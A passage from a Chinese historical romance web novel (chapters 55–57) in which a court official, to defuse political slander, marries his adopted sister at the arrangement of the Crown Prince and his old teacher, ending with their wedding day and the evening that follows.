王老太师见太子怔愣,解释道:“太子可知,汉昭帝的皇后上官氏,六岁时就被送入宫中,作为皇帝的待年媳。民间百姓有些为求知根知底,也效仿汉昭帝” 太子当然知道什么是童养媳,他只不过是疑问老师为何无端提出,于是他说道:“老师不妨有话直说。” 王老太师不停在心里斟酌着言语,私心里也不想太子怪罪宋承云。 宋承云不愿见王老太师为难,还是跪下下去,“请太子恕罪。” 太子更是一愣,他何曾降过罪于他。 宋承云继续说道:“舍妹一事,臣深感恩于太子,今传言四起,是臣一人之罪,不管太子要臣做什么,臣都甘愿为太子肝脑涂地。只是,关于臣妹妹的婚事,请太子收回成命。” 宋承云说完后,垂眸看着地下。 太子这下才知道师生两人因何而来。 晚间,他桌上参奏宋承云的奏章又送了一叠过来。虽部分被他拦下,可首辅那边的人是铁了心思想把这事闹开。 太子也有些头痛,为君者本就要广开言路,总不能不让别人弹劾他看中的人。 这事要破局并不难,他派给宋承云的那些人皆是亲兵,别人如何打探都打探不到实质的消息。只是宋承云在罗湖耽搁了几日,住了几日客栈,难免还是被有心人看到,便捕风捉影,攻击他们兄妹□□ 王老太师见太子冷下脸,这下也顾不得斟酌了,替宋承云解释道:“太子,怀夕并不是伯卿的亲妹妹。” 太子惊讶地回望过来。 显然,太子并不知道这一事实。不过他很快就反应过来王老太师的意思,若不是亲兄妹,那那些御史指控的罪名,根本就是无稽之谈, 太子扬了扬眉,示意老太师继续说。 “臣细细盘算过了,沈震无非是想提前做局断了您的臂膀,既然他想毁了伯卿名声,那我们不如来招釜底抽薪。” “直接坐实,让他们两成亲。”王老太师重重说道。 宋承云抬头望老太师,清冷平静地眼眸里闪过一丝愕然。 原来老师前面铺垫的童养媳,是这个意思。 太子的手在茶杯上摩挲了几下,显然在心里掂量老太师的说法是否可行。 这番一来,首辅的心思可就落了空。虽说童养媳的由头,怎么说都有些牵强。但若他们本来就不是兄妹,那他们的那套说辞自然站不住脚。 这可是比让他妹妹嫁其他人更好的还击。 “起来吧。”太子叫起宋承云,问道:“既然你不愿意让你妹妹嫁人,那你便娶了她吧。这你可愿意?” 宋承云看着太子,眼神里有些挣扎。 这件事的发展走向,完全出乎他的意料。 王老太师见太子颇是满意他的提议,内心松了口气,打着圆场说道:“怎么不愿意,恐怕是求之不得。” 今日王老太师一反常态,屡次语出惊人,显然太子心里已经有了准备了。 这话信息量可大着,饶是太子,也不由得被勾起了八卦的心思,“哦?” 只不过,宋承云不似寻常臣子,并不理会他的调侃。 不过太子也不在意。 眼下,他的心情倒是十分愉悦。 对于太子来说,女人从来都不只是锦上添花的东西。 他知道,女人有时候也是一种武器,一种比刀更好用的武器。 制伏别人,有时靠权力,有时靠武力,而有时,只需要一个柔软的女人。 他从前不觉得,用这些东西能让宋承云俯首称臣。 心无挂碍,是他最欣赏他的地方。 可若底下的人完全没有弱点,对于为君者来说,并不是一件好事。 所以,宋承云有弱点,这个事实,让太子反而更安心。 而宋承云到底还是没有驳王老太师的话,他知道太子已经做了让步了。 再推辞,就是不识抬举了。 离开前,太子瞥了一眼桌上的奏章,叫住他们:“既然是郎有情妾有意,那便赶紧着手成亲把。孤实在不想再看到这些东西了” 宋承云知道这话是对着他说的,垂下眼眸,拱手应是- 虽说有些波折,但事情能顺利处理,回去时王老太师的脸色显然比来时轻松不少。 他活到这把年纪,知道有时事情,并不能单单用礼义廉耻来定 义。但他也知道,这次做主让承云娶了他妹妹,他有自己的私心。 他知道,能让这个端方持重的弟子承认他问心有愧,甘愿冒天下之不韪,那这份情意,不说蚀骨,至少也是刻骨之深。 他知道求而不得是一件多么磋磨人的事情。 没有人知道他对他报以多大的期待,所以他愿意为他荡平他前进路上可能有的阻碍。 为公为私,王老太师都觉得让宋承云娶怀夕是最好的办法,既能成全大局,也能成全他的心意。 只是老太师心里多少也有点愧意,是对怀夕的,他考虑了方方面面,唯独没有将那个单纯的小姑娘考虑在内。 到底是他不仁义了。 他难得幼稚地在心底说服自己,万一人家就是两情相悦呢。 但眼下再说这些也没什么用了,他不可能在这里细究他们兄妹之间到底是什么样的纠葛。 他的这个学生,看似温和,实则界限非常严格,即便他们是师生,有时也不能越了线。 开弓无回头箭,老太师也只好硬着头皮将此事做到底。 “我想着,既然怀夕认了你伯母做干娘,干脆,就改了姓吧。”既然不是亲兄妹,那为怀夕名声着想,不如将事情做得更妥帖。 “就姓夏,或者,姓王也好,料想别人不敢多说什么。” “至于婚事,回去我就让你师母安排,怀夕不能再与你同住了,最晚后日,就要让她搬出来” 宋承云心里并无欣喜,可他很确认,他不可能让妹妹随意嫁给某个男子。 是他动了不该有的心思,他可以坦然接受所有的指责和嘲骂,但唯独妹妹不能因为他受任何一点点伤害。 即便是他自己,也不行。 宋承云很清楚,老师此举是尽所能在替他们兄妹筹谋了,所以心里也不免动容,他掩下心里的凝重,在车厢内跪下,对着王老太师叩了个头- 再回到宋宅,已是亥时。 宋承云一人进了书房,未曾点灯,在黑暗中坐了有俩刻钟。 平静的内心波澜乱起。 三言两语,就要自私地将妹妹永远绑在自己身边吗? 他又该用什么样的语气和理由,去同她开口,同她讲述她全心信赖的兄长对她存了龌龊的心思? 她会用鄙夷的眼神看着他吧。 是啊,他与宋承林,根本没有什么分别。 说到底,他也只是个在暗地里窥伺她,渴望她,觊觎她的男人而已- 暮色融融,松毫守在昏暗的书房门外,眉弓皱成了川字,不停地走来走去。 公子自回来后一言不发,独自进了书房,也不让他进去点灯。松毫侍候他多年,第一次看到这般反常的公子。 他很犹豫,该不该去请姑娘过来看看。 不过在他犹豫之际,宋承云自己推门走了出来。 松毫忙跟了上去,在转过第一道游廊时借着月色偷偷觑了觑公子的脸色。 可从神色上根本看不出端倪,松毫很快把目光收回。眼见公子越过回正屋的廊道,继续往里走,松毫还是忍不住提醒道:“公子,再走下去,就是姑娘的院子了” 身前的身影脚步一顿,松毫也跟着站停。 正对院门,抬眼望进去,暖黄的窗扇上映着几道影子,松毫垂眸不敢看。 宋承云目光定定地落在窗扇最右侧的那道身影。 院内,翡翠和琥珀正好侍候完怀夕睡前擦脸擦牙,捧着脸盘走了出来,看到宋承云和松毫,有些惊讶,蹲了个安,“公子。” 见宋承云脚步未停,翡翠往门后看了一眼,犹豫了一下,挡在门前,“公子,姑娘正准备睡下了。” 宋承云看了她一眼,翡翠立马低垂下头。 里头大约听见声音,小艾打开了门出来看。 “姑娘,是公子。” 说完,小艾也向宋承云行了礼。 怀夕原本已经准备拖鞋上/床了,听到小艾的话,又把鞋芨上,小跑到门口。 “哥哥,你怎么来了。”怀夕把手搭在小艾肩上,因怕冷,只探了脸出来,小脸笑盈盈的。 宋承云目光落到她脸上,明显柔和不少,轻轻嗯了一声,道:“我有话同你说。” “外面冷,哥哥进来说吧。” 怀夕并不觉得有什么,可一向迟钝的小艾看了看门外低垂着头的翡翠和琥珀,一时也觉得好似有些不妥。 不过,宋承云并没有给他们开口的机会。 他提步走了进去。 宋承云止步于外间,小艾站在门旁犹豫该不该退下,看了眼怀夕,怀夕只是轻巧地朝她挥了挥手,示意她下去。 门重新阖上,寒风又被挡在门外,轻微撞击了两次门又呼啸而去。 第55章 第55章我不能再做你的妹妹 显然,怀夕也感觉到宋承云的不对劲了。 除了她昏睡那几日,哥哥从未在夜间踏入她的小院。 怀夕料想,或许是发生什么事。 原本她已经要睡下了,所以一头黑发披散着,身上穿得也是薄薄的寝衣。 看着哥哥一身正式庄严的朝服,怀夕忽然觉得有些不好意思,走到内间,又披了件外袍才走出来。 她向来畏冷,屋里的炭盆烧得很旺,她这样两件单薄的衣服觉得温度正好,但哥哥身上还披着大氅 见宋承云一言不发,只低垂着眸盯着桌上还未收拾的叶子戏,怀夕走了过去。 纤白的手指伸到眼下,宋承云下意识往后微仰。 怀夕是站着的,宋承云以仰视地姿势看她。 许是未料到哥哥会被她解系带的动作吓到,怀夕的手一时也顿在他胸前,她轻笑着解释道:“屋里暖,哥哥把大氅脱了吧。” 宋承云点头,自己抬手,将系带解开。 怀夕的手顿在半空,没有收回,待宋承云把大氅脱下,她顺势接了过来,放到窗边的榻上。 解了厚重的外氅,怀夕这才发现宋承云头顶几缕发丝有些湿漉,清隽的脸庞也有些不自然的青色。 怀夕伸手,去试探他手的温度。 果然,冷得惊人。 她提壶倒了杯热水,推到宋承云面前,“哥哥手怎么这般凉?” 眼前的女子羽睫轻扇,毫不掩饰眸里的担忧。 她对他这个哥哥是这样全身心地信任。 那种灭顶的羞愧感就要将他淹没,只要想到她或许会厌恶自己,害怕自己,宋承云心便纠得发痛。 一想到将来,会有另一个男人,会得到她这般细心的关怀,会看到她这般娇软的情态 只是想象,他都嫉妒得发狂。 没错,他十多年来,第一次有这种深刻的情绪,第一次对一个人有这样浓厚的占有欲,也是第一次这样,想靠近,又不敢靠近 来之前,明明已经下了决定:就这样顺水推舟,娶了妹妹,将她永远绑在自己身边。 无论她愿不愿意,他绝不容许她离开。 可现下看到她,他又知道,那些自以为是的,冠冕堂皇的,阴暗龌龊的想法,通通不作数。 嫉妒和叫嚣,只能在她看不见的地方。 他不能吓到她。 即使永远得不到。 即使永世在痛苦里沉沦。 脑海里只剩一个念头:若是她说不愿意,那便算了 他决计,不舍得伤害她的。 见宋承云一动不动,怀夕有些担忧,来拉他的手,轻轻问道,“哥哥想同我说什么?” 宋承云未说话,手却回握住她的。 回握过来的手如冰块般寒凉,怀夕毫不吝啬手上的温暖,覆上另一只手,勉强地宋承云的手包裹住。 屋内明明很暖和,可哥哥的手就是怎么握也不见回暖。她看了看一旁的炭盆,心想是不是让哥哥坐过去烤一会火更见效些,可还没开口,就听到哥哥犹如积雪清凌的声音。 “你还喜欢裴劭么?” 怀夕抬头去看宋承云。 哥哥的眼神如同平常,如同平静未曾有过波澜的湖面,仿佛只是闲谈而已。 怀夕很困惑,这是什么问题? 虽说他们兄妹感情好,但在哥哥面前谈论这些小女儿的心思,小姑娘还是有些不自在,犹豫着不知道该怎么说。 怀夕微微出神,握着宋承云的手力道渐渐松了些。 她乌发垂肩,宋承云盯着她头上圆圆的小发旋,搭在桌案上的另一只手 微微蜷了蜷。 定过亲的裴劭是决计不行的。 宋承云的脸色更冷峻了几分。 怀夕朱唇微启,正想说什么,宋承云的目光也扫了过来。 怀夕敏锐地察觉到那目光里的异样。 哥哥怎么突然好像有些不太高兴了。 忽然提起裴劭,怀夕有些摸不着头脑,更没注意到哥哥提问里还带了个“还”字,她摇了摇头,说:“不喜欢啊。” 不喜欢么?宋承云心底冒出一丝丝欣喜,只是很快又被苦涩淹过。 那为什么还要珍藏着那枚纹佩呢? 妹妹昏睡那时,他曾在妹妹的枕下,看到过那枚熟悉的纹佩 指尖的温度一点点攀升,怀夕慢慢收回握着宋承云的手。 “哥哥,到底发生何事?” 宋承云的声音轻得如同蒙上一层薄纱,“你记得吗?你刚来宋家不久,有段时日,常常要我陪你玩一个游戏。” “嗯?”怀夕有些惊讶哥哥忽然提起从前。 她被娘亲带走的时候已经好几岁了,但她的记忆很好,所以从前的记忆十有七八都记得。 那时宋清初姐妹她们玩过家家,学着街上那对卖馄饨的老夫妻,一人做馄饨,一人卖馄饨。 她们不肯带着她玩,怀夕有些难过。 那时娘亲刚带着她搬出主宅,搬离曾经与父亲居住的地方,怀夕隐约能感受到娘亲有些伤心,所以不敢缠着娘亲让她陪她玩。 实在无聊,她偷溜进去哥哥书房,掂着脚抢过他手里的书,“气势汹汹”地威胁他:“若是你不做我的相公,我就把这本书丢掉!” 那时宋承云待这个捡来的妹妹很是冷淡生疏,可不知怎地,怀夕偏偏不怕他。 果不其然,宋承云并不理她,只是皱了皱眉,将书从她手里抽了回来。 小怀夕原本就气势不足,被宋承云一瞪,立马偃旗息鼓。 她没有其他动作,可怜兮兮地站在他旁边看着,就是不肯离开。 最后,宋承云忍无可忍,招手叫她过来,问道:“谁叫你说这种话的?” 小怀夕不懂,以为宋承云愿意陪她玩,立马就去牵他的手:“二婶婶那边的嬷嬷说了,我将来是要给哥哥当媳妇的。” 怀夕之前在主宅里住,偶然听到浣衣的几个嬷嬷闲聊说,她是娘亲捡来给哥哥做媳妇的。 宋承云听完冷下脸。 怀夕还是继续童言童语道:“哥哥,我是你娘子,我来做馄饨,你来卖馄饨。”她小心翼翼地去牵他的手,怕他甩开,握得很紧。 最后,还是宋承云无奈妥协,任由她拉出去,坐在院子里看她拿树叶做馄饨,还要他卖给松毫 怀夕显然也想起来了,那个时候她只要玩那个游戏,就称哥哥为相公 宋承云知道怀夕想起来了,在怀夕抬眼看他时,他立刻错开视线。 宋承云并不打算瞒怀夕,把前因后果同她讲清楚,至于朝堂上那些弯弯绕绕,他并没有多说,只是解释道:“简而言之,若我们还是以兄妹相称,那些人就有了攻击我的说辞,恐怕还会牵连太子。” 知道是太子协助哥哥救出自己,怀夕自然不愿意因为自己而连累太子,当然,更不愿意哥哥被中伤。 “那自然不行。”她急道:“所以,哥哥的意思是,我不能再做你的妹妹。” “不仅如此,我们还要成亲?” 好似遇到了很大的难题,怀夕重重叹了一口气,而后似乎有些烦躁,用力搓了搓一旁的眉毛。 “只有这个办法吗?” 怀夕的确有些烦心,眼珠子四处提溜着,因此没注意宋承云一瞬的凄然之色。 宋承云胸口仿佛压着一块浸透水的棉絮,怀夕每说一句,心头就越沉甸一分,那些难以启齿的愧意凝成细小的砂砾,在胸腔间来回摩擦。 嫁给别人当然也是一种方法。 太子和老师原来的想法便是这样。 是他做不到。 既不愿怀夕成为权力斗争的牺牲品。 他自己,也无法放手 分明的指节在膝上敲击,他不敢看她,只能低头避开她的目光。 “是。”宋承云听见自己说道。 而后,他开始等待。 等待怀夕的宣判。 若是她不愿意 若是她开始厌恶他 宋承云在心底反复告诫自己,是他心思龌龊,是他趁人之危。所有妹妹可能会有的情绪,憎恶抑或是怒火,都是他应得的。 他想,若是她说她不愿意,那无论如何,他都会逼自己放手。 他希望自己可以做到。 一定要做到。 气愤凝滞了一瞬。 可于宋承云来说,他从来没有觉得时间如此漫长过。 妹妹的沉默就是最好的答案。 他用力地攥了攥手,压下心底的起伏,想尽量让自己平静地说出来接下的话。 “其实”怀夕歪了歪头,“就是假成亲是吧?” 闻言,宋承云滞了一滞。 “也行,只要能帮到哥哥。”怀夕轻挑了挑眉,眼眸仍是弯弯的弧度,“反正我也不想嫁别人。” 如果嫁人就代表要离开哥哥,她想她是更不愿意的。 若做了哥哥的假新娘,那她还是可以天天陪在哥哥身边,她很乐意。等将来哥哥有了心仪的女子,她再把这个位置还给她将来的嫂嫂,岂不两全其美。 宋承云敛了敛眼峰,压下心头酸涩,神情依然平静,“好,那就行。” 他开始交待接下来的事情,“事出紧急,可能这两日你便要先搬到王府住几日。” 其实婚期还没定,可宋承云知道太子不会允许他们拖太久。但即便即便是假的,也不能委屈了妹妹。 听到要搬出去,怀夕愣了愣,歪头问:“不是要嫁给哥哥么?为何要搬走?” 这些事情,原本不该是自己同她说的。 可她这样凝神看着自己,如好学的学生一般诚恳,仿佛自己无所不懂一般。 宋承云眼神难得有些闪躲,“成亲前还有许多事要做,纳采、问名、纳吉、请期、亲迎等。”他咳了一声,尽量平静地为她解答:“不过这些你都不用操心,你乖乖地呆在王府,其他的,我都会安排好” 虽说这个决定仓促了些,可他能做到的,能给怀夕的,他皆想为她做到。 而怀夕,听着哥哥的回答,也是似懂非懂地点了点头。 总之,哥哥说什么,她照做就是了。 而王老太师那边,回府后,与王老夫人合计完,急召了自己的儿子和儿媳,向他们通报了这个消息。 夏敏不用说,被这个消息惊得一时说不出话。连一向不管杂事的王楚修也第一时间否定:“父亲怕不是吃醉酒,怀夕可是伯卿的妹妹,哪有哥哥娶妹妹的道理。” “我看你才是吃醉了,哪来的哥哥妹妹,以后怀夕就姓王。”王老太师瞪了儿子一眼,“总之,这事就这样定下了。” “伯卿没有父母,我既是老师,他的婚事,自然该有我来做主。”王老太师看着夏敏说道:“从前你认了怀夕作干女儿,如今索性让她冠王家的姓,也免将来落了别人口舌。” “还有,明日你把我们隔壁的茗澜苑收拾出来,把怀夕接过来。”王老太师又转头看王老太太,“事情有些匆忙,吉日,礼册等这些,就烦请夫人费心了。” 夏敏从进来直到现在,都在尽量让自己控制好表情,免得在公爹面前失了礼。可现下都已经提到吉日她还是惊得呛了一下 王老夫人刚听到时也好些惊讶,可毕竟年岁在那,什么大风大浪没见过,很快就接受了。老太师说完,她从容地笑着说:“放心吧,这事就交给我跟敏儿了。” 第56章 第56章新郎官是个会疼人的 夏敏一夜未睡,一个晚上思前想后,才堪堪把昨夜公爹说的话消化掉。 既是有太子授意,又有公爹保媒,这门婚事几乎是板上钉钉了。 除去朝堂上那些弯绕,她只是有些惊讶,事情最终会是这个走向。 宋承云作为郎君人选,自然是好得不能再好的,否则不会连那些有爵人家都想将女儿嫁给他。 他每每拒绝,夏敏只当他是想立业再成家,从没有多想。对婚事这般慎重的人,竟然会听从太子和公爹这般不符合常理,甚至不符合世俗的安排? 别的不用说,怀夕有多亲赖她的哥哥,她看在眼里。可亲近是亲近,哥哥变成郎君,她能接受吗? 夏敏一夜翻来覆去,天刚刚明了,她便起了,一大早便去茗澜苑看丫鬟收拾,之后又去库房呆了好一阵。 到了午后,夏敏亲自来了一趟宋宅。 怀夕将她迎进屋内,心头一堆话,可见到怀夕之后,夏敏又不知道从何说起。 小姑娘晶亮的眼眸里是飒意爽朗的笑意,两颗浅浅的小梨涡一直挂在颊边,美得如同刚要绽放的小花蕾,格外明亮耀眼。 夏敏根本看不出她有一丝勉强的意味。 说了好一会话,夏敏确定承云并没有欺瞒怀夕,小姑娘知道实情,并且对她很快要嫁给哥哥这件事情,毫不抵触,甚至有些喜悦? 其实夏敏不知道,怀夕本就以为这是一场假成亲,况且对象是她哥哥,她自然不可能有任何抵触心理。 夏敏接过怀夕捧过来的茶水,上下看着她,见小姑娘脸上的喜悦不似作假,心也渐渐落了下来。 本就不是亲兄妹,换个角度想,两人相依为命,情分深厚,怀夕对她哥哥本就十分依赖,而承云对她这个妹妹有多看重她也看在眼里。 既然如此,她何必要想那么多呢。 想通之后,夏敏才开始觉得神清气爽,没有比承云更妥帖的人了。 她握着怀夕的手,打量了一下四周,“最晚明日,明日我让你司岩哥哥和你嫂嫂来接你到王府去。” 哥哥已经提前交待过,因此怀夕听完也乖巧地点点头。 夏敏离开之前,还留了两个丫鬟下来,说帮她收拾东西,怀夕推拒不了,便只能留下了。 打定主意之后,夏敏办事就利落起来。将怀夕接到王府安顿下来,第二日王老太师便召来族亲,将怀夕添入族谱里,怀夕正式成为王府的三姑娘,而王郁心顺位便成为四姑娘了。 同宋承云想得不差,成亲一事虽繁杂,但怀夕在王府的每一日还是轻松自在。所有出嫁事宜,王老太太和夏敏亲力亲为,为她备了厚厚的嫁妆,王老太师更是从中添了不少。 怀夕已经半个多月未见到哥哥,并不知道宋承云为了这场婚事忙得脚不着地。 夏敏来茗澜苑时,怀夕正和王郁心蹲在地上,拿着零嘴逗王郁心的那条小狗坐下和握手,看着两个小姑娘还如孩童心性,夏敏无奈地摇了摇头。 王郁心见到夏敏过来,心虚地落下眼眸,害怕母亲又要说她。不过这次夏敏可没空理她,她招手让怀夕过来,把手里的两沓礼单递给她。 一份是红妆单子,一份是宋承云刚刚送来的聘礼单子。 按例,夏敏已经看过那份聘礼单子了。她们给怀夕准备的嫁妆是按大女儿出嫁时的红妆单子准备的,王老太师又着意添了不少,所以那份红妆单子是厚厚一沓。 宋承云送来的那份聘礼单,虽然不如那份红妆单子厚,但夏敏瞧过之后,还是有些惊讶。 宋承云几乎,不,是将自己的全部身家都作为聘礼送给怀夕了。 她原本以为,承云娶怀夕,或许是朝堂上的无奈之举。可自婚事筹备以来,他事事尽心,亲力亲为,唯恐不能尽善尽美 夏敏渐渐有些怀疑自己原本的想法,她不禁猜想,也许承云对怀夕,不止是兄妹之情 刚冒出这个想法的时候,对她的冲击不亚于第一次听公爹时他们兄妹要成婚。 再越到后来,看着承云对这场婚事着重的样子,她越来越肯定自己内心的猜想。 怀夕接过那两沓单子,直接放到桌上,然后,拿出一盘的茶壶,为夏敏倒了一杯茶。 “红妆单子我已经带你看过了,上面那本是你哥哥,”夏敏说完有些懊恼,怎么老是改不了口,她顿了顿,才继续说道,“是承云刚送来的聘礼单子,你看看吧。” 怀夕听话地拿起来,翻了一翻,然后又放了回去。 好似任务般,做完了便笑盈盈望着夏敏,眼里仿佛在说:我都看完了,多乖巧。 显然,怀夕并不在意单子上写了什么,无论是多是少,无论是不是哥哥的全部身家,只要是哥哥给的,她都愿意收下。 夏敏这下是看清楚了,怀夕可以坦然接受承云给予她的任何东西,他们之间自有他们相处的一套方式,旁人怎么都插不进去。 对怀夕而言,她的便是哥哥的,哥哥的便是她的,他们之间,原就不分你我。 便是真正的夫妻,恐怕也很怕做到如此。夏敏在此刻,对他们曾经是兄妹的身份,心里才算真的释怀- 婚事时间虽仓促,可各项礼节都没有省。 怀夕曾亲眼见过王郁雾出嫁时的场景,也算是有经验,所以直到婚事前一日,她都跟没事人一样,丝毫不紧张。 出嫁前的那个晚上,夏敏拿着一盒子的书册,坐在怀夕床边,神色沉静地叮嘱了有半刻之久。 已经给大女儿讲过一次,这次夏敏得心应手,同怀夕讲得也就更细致。 怀夕从一开始的懵懂,到听到最后耳根红透,夏敏才堪堪讲完。 夏敏把盒子打开,还想继续解释,却被怀夕突然伸过来的手挡住下一步动作。 怀夕整张莹白的脸此时布满红晕,她用力地压着夏敏的手,不让她翻开书页。 夏敏这才反映过来,姑娘这是害羞了。 也是,当时大女儿第一次讲给大女儿听的时候,自己都羞赧得不行 “总之,你待会若不困,便翻一翻,多看看总不会有错的。” “”怀夕很想说,她跟哥哥只是假成亲,怎么可能会 但夏敏已经起身走出去,把马嬷嬷和小艾唤进来,让他们再仔细看看明日要用的东西还有没有疏漏。 于是怀夕看着还放在她手上那个有些重量的小盒子,怕小艾进来看到,只好涨红着脸把它放到一旁还未封箱的红木箱子里。 翌日一早,怀夕就被叫起来,晕晕乎乎地被簇拥着换上鲜红的嫁衣,人生第一次被绞线绞过脸庞,怀夕疼得直皱眉,引得屋内的夫人们一阵笑。 这场亲事是以太师府嫁女的规制请的宾客,连太子都送来贺礼,所以这场婚事,场面也十分盛大。 太子派的就不用说,无不备上厚礼早早到太师府相贺。而之前等着弹劾宋承云的那些官员,原以为这次弹劾怎地也能让宋承云脱层皮,毕竟,为官者谁不把名声当命根子。 可偏偏奏章都呈到上面去了,风眼开始酝酿,这厮竟传出要结亲的消息,再一打听,要娶的竟然是他妹妹。 这事阴就阴在,他的妹妹,并不是他的亲妹妹。 如今,人家的妹妹成为王府的千金,连太子都亲自下场为这场婚事保媒,他们受了上边训斥还有苦说不出,只能也备着厚礼来宋家祝贺,希望不要与宋承云闹得太难看。 但怀夕什么都不知道,在一派欢腾和笑语中画上美丽的新娘妆,在接亲队伍到来之前,夏敏为她盖上红盖头,在喜娘的搀扶下,她与身侧的另一道红衣身影一起拜别王老太师一家,听着礼官高喊着“吉时到”,而后在一阵欢闹声中被扶着坐上前来相接的花轿。 她以另一种身份,回到她与哥哥的家。 跨火盆,过马鞍,拜天地,怀夕在盖头下被搀着走完成亲所有繁琐的流程,直接被送入喜房,还有些云里雾里。 她对宋宅实在很熟悉,即使蒙着盖头,也知道她们领她走近的喜房是她从前住的屋子。 她坐在喜床上,屋子里满是起哄声,怀夕不知为何也开始紧张起来,咬着嘴唇时尝到甜腻的口脂味,又立马松了嘴唇。 一整套流程下来,她盯得最多的便是那双黑色云纹靴。虽然见不到哥哥,但知道哥哥在身边,怀夕便很安心。 眼下,熟悉的步履声慢慢向自己靠近,在喜娘的吉语和周围的庆贺声下,遮住怀夕目光的红盖头终于被慢慢挑起 光亮忽然撞进眸里,在盖头被掀起的时候,怀夕忍不住眯了眯眼 身前那道身影稍稍挪了位,替她挡住那道光亮,怀夕下意识地抬头,正好撞进眼前人的眼眸里。 这是怀夕第一次见哥哥穿红色的衣服,这样热烈的颜色为他疏冷的眉眼度上一层暖色。 高达笔挺,他俯着头看她,乌黑如漆的墨眸此刻亮得惊人,是毫不掩饰的惊艳感,棱角分明的俊脸上,唇角微微勾着 怀夕的目光仿佛被牵引着,一时有着看呆了 哥哥原来这么好看吗? 就在怀夕沉浸在宋承云的美貌中时,周围的人在盖头掀起的那一刻也发出惊叹声。 女眷们毫不吝啬赞叹,那些不熟识怀夕的男眷多是宋承云的同窗,也有王家送亲的宗亲,此刻看到怀夕,都不由得在心头暗叹,难怪宋承云对这个妹妹那么着紧,原来,是位如此灵气逼人的清丽女子。 丫鬟们捧着放着桂圆、红枣、莲子等的托盘,在喜娘吟唱的撒帐歌中将它们撒在怀夕和宋承云身上。 很快,妆点得十分喜庆的小艾笑盈盈地端上合卺酒,宋承云率先端起一杯,怀夕在起哄声下端起另一杯,在交叠的袖摆下一饮而尽 与怀夕平常喝的果子酒不同,酒性烈了不少,怀夕没忍住呛咳了一下,引来宋承云担忧的眼神。 与王家交好的陈家夫人眼尖注意道宋承云停顿的小动作,不由得逗笑道:“新郎官可真是个会疼人的。” 怀夕有些羞赧,对着哥哥摇了摇头。 进来喜房的宾客都是既有分寸的,看过怀夕咬过饺子,又说话热闹了一小会,就退下去了。 按理说,宋承云是要跟着去正堂会宾客的,走之前,他回头看了看怀夕,看到她比刚刚晕红的脸颊,似乎有些不放心。 兄妹二人在经年累月中早已对彼此的情绪有着最灵敏的反应,怀夕一眼就看出哥哥眸里的担心。 她把嘴角一抿,两颗小梨涡就漾在嘴边,“哥哥放心。” 再不放心也只能先离开,宋承云点了点头,强行收回目光,提步走出房间。 人都走了之后,怀夕这才松了口气,开始打量起自己的房间。 明明是她住惯的屋子,此刻看起来却有些陌生。目之所及,都是耀眼的红,红色的烛火,红色的被褥,红色的喜字,红色的饰品 说不出的隆重 仿佛从此以后,自己真的就是哥哥的妻子一般 怀夕被自己心里的念头吓了一跳,忙摇了摇头。 小艾领着丫鬟进来的时候,看到的就是怀夕摇头的场景。 小艾并不知道怀夕嫁给宋承云的实情,初听怀夕同她说起的时候,惊讶程度不亚于当时的夏敏。 但她是个心思单纯简单的小姑娘,从最开始的不理解,到最后觉得这门亲事极好,中间隔了不到两个时辰。 姑娘本就不是公子的亲妹妹,小艾思来想去,姑娘嫁给任何人,都不如嫁给自家公子来得保险,公子对姑娘有多好她是最有发言权的。 在这个家里,看似公子冷淡不好说话,实则上,公子对姑娘言听计从,甚至有时连小艾都觉得姑娘提的那些要求,实在有些过了 最重要的是,她看得出姑娘是真心高兴的。 “姑娘,可是钗环太重?” 怀夕点了点头。 “公子恐怕还没那么快回来,奴婢们先侍候姑娘梳洗吧。” 小艾说完,翡翠和琥珀皆笑着走近,将怀夕扶到梳妆台前,其余的丫鬟见状便开始准备怀夕梳洗的东西。 正是隆冬,迎亲的时候艳阳高照,待黄昏一过,雪又开始纷纷扬扬飘了起来。 屋内的炭盆今日烧得尤其旺,与屋内的红火融为一体。 待怀夕沐浴完,琥珀帮她绞着头发,已经是快半个时辰后的事了。 怀夕一整日也没吃什么东西,沐浴完之后饥饿感就涌了上来。 好在不用她吩咐,绞发的时候珍珠提了一个食盒从门外进来,将食盒内的几盘珍肴摆在外间的桌上。 珍珠是此次从王府陪嫁过来的丫鬟,是夏敏精心挑选的,很是沉稳大气。 摆放完之后,她便走到内间。 “姑娘饿了一天吧,快出来吃些东西垫垫肚子。”珍珠走近,对怀夕福了福身,浅笑着说道。 头发还未干透,不过屋内暖和,倒也不怕着凉。 也许是在自己住惯了的房间,又换下那身喜服,怀夕显得十分自在。也不让琥珀挽发,直接披着还有些微湿的头发就走出外间。 屋内虽暖,但小艾还是不敢大意,还是从屋内拿了一件披风出来给怀夕披上。 累了一天,怀夕反而没什么胃口,虽送来的菜肴不少,不过她只喝了几口汤,一盅红豆圆子,就让她们撤下了。 沐过浴,填饱肚子,隐约还能听见外面觥筹交错的声音,但对怀夕来说,成亲这件事情,好似已经结束了。 她完全松散下来,只留下小艾在屋里侍候。 因着礼节,一会哥哥还是会过来一趟的,因此怀夕也没有上床,便如同平日一样窝在罗汉床上,随便拿了本书消遣。 也不知道过了多久,就在怀夕似睡非睡的时候,隐约听见门嘎吱的声音,然后就是小艾带着喜意的声音,“姑娘,公子来了。” 第57章 第57章哥哥,你进来 宋承云身上还穿着那套繁琐的大红礼服,黑发用镶碧鎏金冠束起,与平日不同的庄重感让怀夕忽地反应过来,今日是哥哥成亲的日子。 不,应该说,今日是她与哥哥成亲的日子。 “可用过膳了?”宋承云看着盯着他袖子发呆的怀夕,柔声问道。 怀夕点了点头。 宋承云见怀夕愣着不说话,只是直勾勾地盯着他,一时觉得有些好笑。 他走近,轻笑道:“喝醉了?”他把手绕到怀夕身后,轻轻碰了碰她披散的发丝。 是干爽的。 忽然的靠近,怀夕下意识地往后缩了缩。 小艾站在一旁,低垂着眉眼不敢看,但脸上却俱是笑意。 原本喜房该设在宋承云院里,可他怕怀夕住不惯,索性就把怀夕的房间改作喜房,虽多了些装饰,但仔细看,能发现大的变动几乎没有。 见宋承云目光扫了过来,小艾适时上前,“公子,隔壁净房已准备好,公子可是先梳洗?” 宋承云点头,而后他自己推门去了隔壁的净房,丫鬟们都纹丝不动,等着怀夕的吩咐。 见怀夕没有反应,小艾犹豫了下,提醒道:“姑娘,要不要派人去侍候公子洗簌?” 怀夕愣了愣,这才发现屋内的丫鬟都看着自己 哥哥怎么进了她的净房? 虽然心里还没平静下来,但她还是硬着头发说道:“哥哥不喜欢女使时候,他没说,就不必吧” 翡翠和琥珀倒是已经习惯,其他丫鬟听到时还是有些惊讶,但到底是夏敏精心挑选的,都只低垂着头应是。 隔壁很快就传来水声,怀夕忽觉身上的困意尽数消退,心里有个想法逐渐成型。 难道 